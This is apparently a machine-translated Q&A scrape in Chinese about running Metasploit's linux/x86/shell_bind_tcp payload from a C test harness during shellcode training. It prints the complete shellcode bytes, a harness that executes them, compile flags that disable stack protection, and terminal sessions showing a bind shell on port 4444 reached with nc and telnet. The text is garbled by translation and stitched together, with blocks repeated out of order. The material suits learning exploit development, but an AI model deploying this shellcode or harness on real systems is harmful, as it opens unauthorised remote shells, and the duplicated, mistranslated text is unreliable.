如何独立运行linux/x86/shell\u bind\u tcp负载?

如何独立运行linux/x86/shell\u bind\u tcp负载?,linux,metasploit,Linux,Metasploit,我正在沙盒c程序中运行Metasploit负载 下面是感兴趣的有效载荷的摘要。从那里我生成一些外壳代码并将其加载到我的沙箱中,但当我运行它时,程序将只是等待。我想这是因为它正在等待连接发送shell,但我不确定 我将如何从: 生成外壳代码 把它装进我的沙箱 成功获取/bin/shshell生成外壳代码,编译并运行: max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C /* * linux/x86/sh

我正在沙盒c程序中运行Metasploit负载

下面是感兴趣的有效载荷的摘要。从那里我生成一些外壳代码并将其加载到我的沙箱中,但当我运行它时,程序将只是等待。我想这是因为它正在等待连接发送shell,但我不确定

我将如何从:

  • 生成外壳代码
  • 把它装进我的沙箱

  • 成功获取
    /bin/sh
    shell生成外壳代码,编译并运行:

    max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
    /*
     * linux/x86/shell_bind_tcp - 78 bytes
     * http://www.metasploit.com
     * VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, 
     * PrependSetresuid=false, PrependSetreuid=false, 
     * PrependSetuid=false, PrependSetresgid=false, 
     * PrependSetregid=false, PrependSetgid=false, 
     * PrependChrootBreak=false, AppendExit=false, 
     * InitialAutoRunScript=, AutoRunScript=
     */
    unsigned char buf[] = 
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    "\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
    "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
    "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
    "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
    "\x0b\xcd\x80";
    max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
    max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
    Shellcode Length:  20
    
    现在,在2号航站楼。检查连接,最后使用
    netcat
    进行连接。请注意,
    $
    没有出现,但shell仍然存在:

    max@ubuntu-vm:~$ sudo netstat -ntlp 
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address     Foreign Address     State       PID/Program name
    tcp        0      0 0.0.0.0:4444      0.0.0.0:*           LISTEN      3326/shellcode    
    max@ubuntu-vm:~$ nc 0.0.0.0 4444
    pwd
    /home/max/SLAE/mod2
    whoami
    max
    ls -l
    total 516
    -rwxrwxr-x 1 max max    591 Jan  2 07:06 InsertionEncoder.py
    -rwxrwxr-x 1 max max    591 Jan  2 07:03 InsertionEncoder.py~
    -rwxrwxr-x 1 max max    471 Dec 30 17:00 NOTEncoder.py
    -rwxrwxr-x 1 max max    471 Dec 30 16:57 NOTEncoder.py~
    -rwxrwxr-x 1 max max    442 Jan  2 09:58 XOREncoder.py
    -rwxrwxr-x 1 max max    442 Dec 30 08:36 XOREncoder.py~
    -rwxrwxr-x 1 max max    139 Dec 27 08:18 compile.sh
    

    您是否尝试连接到端口4444?我不确定如何连接。我试着用$ssh登录max@10.0.1.38-第4444页。但是什么也没发生,所以我不确定应该使用什么工具来实际连接。您可能需要检查端口是否打开(使用
    netstat
    )。如果是,请尝试
    telnet
    #include<stdio.h>
    #include<string.h>
    /*
    objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
     */
    
    unsigned char code[] = \
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    "\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
    "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
    "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
    "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
    "\x0b\xcd\x80";
    
    main()
    {
    
      printf("Shellcode Length:  %d\n", strlen(code));
    
      int (*ret)() = (int(*)())code;
    
      ret();
    
    }
    
    max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
    max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
    Shellcode Length:  20
    (program waiting here...waiting for a connection?)
    
    max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
    Shellcode Length:  20
    
    max@ubuntu-vm:~$ sudo netstat -ntlp
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address     Foreign Address       State     PID/Program name      
    tcp      0    0     0.0.0.0:4444      0.0.0.0:*             LISTEN    14885/shellcode       
    max@ubuntu-vm:~$ 
    
    max@ubuntu-vm:~$ telnet 0.0.0.0 4444
    Trying 0.0.0.0...
    Connected to 0.0.0.0.
    Escape character is '^]'.
    
    max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
    /*
     * linux/x86/shell_bind_tcp - 78 bytes
     * http://www.metasploit.com
     * VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, 
     * PrependSetresuid=false, PrependSetreuid=false, 
     * PrependSetuid=false, PrependSetresgid=false, 
     * PrependSetregid=false, PrependSetgid=false, 
     * PrependChrootBreak=false, AppendExit=false, 
     * InitialAutoRunScript=, AutoRunScript=
     */
    unsigned char buf[] = 
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
    "\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
    "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
    "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
    "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
    "\x0b\xcd\x80";
    max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
    max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
    Shellcode Length:  20
    
    max@ubuntu-vm:~$ sudo netstat -ntlp 
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address     Foreign Address     State       PID/Program name
    tcp        0      0 0.0.0.0:4444      0.0.0.0:*           LISTEN      3326/shellcode    
    max@ubuntu-vm:~$ nc 0.0.0.0 4444
    pwd
    /home/max/SLAE/mod2
    whoami
    max
    ls -l
    total 516
    -rwxrwxr-x 1 max max    591 Jan  2 07:06 InsertionEncoder.py
    -rwxrwxr-x 1 max max    591 Jan  2 07:03 InsertionEncoder.py~
    -rwxrwxr-x 1 max max    471 Dec 30 17:00 NOTEncoder.py
    -rwxrwxr-x 1 max max    471 Dec 30 16:57 NOTEncoder.py~
    -rwxrwxr-x 1 max max    442 Jan  2 09:58 XOREncoder.py
    -rwxrwxr-x 1 max max    442 Dec 30 08:36 XOREncoder.py~
    -rwxrwxr-x 1 max max    139 Dec 27 08:18 compile.sh